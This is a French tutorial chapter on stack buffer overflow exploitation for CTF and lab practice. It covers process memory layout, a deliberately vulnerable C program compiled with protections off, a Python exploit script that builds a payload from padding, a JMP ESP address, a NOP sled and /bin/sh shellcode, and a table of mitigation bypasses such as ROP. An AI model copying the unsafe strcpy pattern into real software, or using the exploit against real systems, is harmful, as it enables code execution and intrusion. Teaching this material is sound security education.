Le buffer overflow est l’une des vulnérabilités les plus anciennes et les plus exploitées en sécurité offensive. Il survient lorsqu’un programme écrit plus de données dans un buffer qu’il ne peut en contenir, écrasant des zones mémoire adjacentes, dont potentiellement l’adresse de retour d’une fonction. Ce chapitre vous guide depuis les bases de l’organisation mémoire jusqu’à l’exploitation pratique.
Organisation de la mémoire d’un processus
Adresses hautes ↑
┌─────────────────┐
│ STACK │ ← Variables locales, adresses de retour, paramètres
├─────────────────┤
│ (croissance ↓) │
│ │
│ (croissance ↑) │
├─────────────────┤
│ HEAP │ ← Mémoire allouée dynamiquement (malloc)
├─────────────────┤
│ BSS │ ← Variables globales non initialisées
├─────────────────┤
│ DATA │ ← Variables globales initialisées
├─────────────────┤
│ TEXT (code) │ ← Instructions du programme
Adresses basses ↓
Anatomie d’un stack frame
Haut de la stack (adresses hautes)
┌───────────────┐
│ Paramètres │ ← Arguments de la fonction appelante
├───────────────┤
│ Return Addr │ ← Adresse de retour (EIP/RIP) ← CIBLE
├───────────────┤
│ Saved EBP │ ← Base pointer sauvegardé
├───────────────┤
│ Buffer[256] │ ← Notre buffer vulnérable
└───────────────┘
Bas de la stack (adresses basses) ← esp
Exemple de code vulnérable
// Programme vulnérable au buffer overflow
#include <string.h>
#include <stdio.h>
void vuln(char *input) {
char buffer[64];
strcpy(buffer, input); // Pas de vérification de taille !
printf("Input: %s\n", buffer);
}
int main(int argc, char *argv[]) {
vuln(argv[1]);
return 0;
}
// Compiler sans protections (pour lab uniquement)
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie
Exploitation pas à pas
#!/usr/bin/env python3
# Étape 1 : trouver l'offset (avec pattern cyclique)
import subprocess
# Générer un pattern avec pwndbg/peda
# pattern create 200
# ./vuln Aa0Aa1Aa2...
# → EIP = valeur unique → trouver l'offset exact
# Étape 2 : contrôler EIP
OFFSET = 76
payload = b"A" * OFFSET # Remplir le buffer
payload += b"B" * 4 # Écraser EIP (Return Addr)
# Étape 3 : pointer vers notre shellcode
# Trouver un JMP ESP dans les bibliothèques chargées
# avec : !mona jmp -r esp (Immunity Debugger)
JMP_ESP = b"\xaf\x11\x50\x62" # Adresse little-endian
# Étape 4 : shellcode (msfvenom ou manuellement)
# msfvenom -p linux/x86/exec CMD="/bin/sh" -b "\x00" -f python
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68..."
payload = b"A" * OFFSET + JMP_ESP + b"\x90" * 16 + shellcode
with open("exploit_payload", "wb") as f:
f.write(payload)
Techniques de protection et contournements
Protection Description Contournement possible
─────────────────────────────────────────────────────────────────
ASLR Adresses aléatoires Info leak + ROP chains
Stack Canary Valeur sentinelle Format string attack
DEP/NX Stack non exécutable Return-Oriented Programming (ROP)
PIE Code relogeable Info leak pour base address
# ROP Chain : chaîner des "gadgets" existants pour exécuter du code
# sans shellcode (NX bypass)
# Outils : ROPgadget, ropper, pwntools
Outils essentiels
# pwntools : framework Python pour l'exploitation
pip install pwntools
# GDB avec pwndbg ou peda
sudo apt install gdb
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh
# Analyser un binaire
checksec --file=./vuln # Vérifier les protections actives
file ./vuln # Architecture, liens statiques/dynamiques
strings ./vuln | grep -i "pass\|key\|flag"
- Un buffer overflow écrase l’adresse de retour pour rediriger l’exécution
- L’offset exact se trouve avec un pattern cyclique (pattern create/offset)
- ASLR + NX nécessitent des techniques avancées : info leaks et ROP chains
- pwntools simplifie l’écriture d’exploits Python pour les CTF et pentests
📚 Formation : Cybersécurité avancée : exploitation et red team

-
Add a note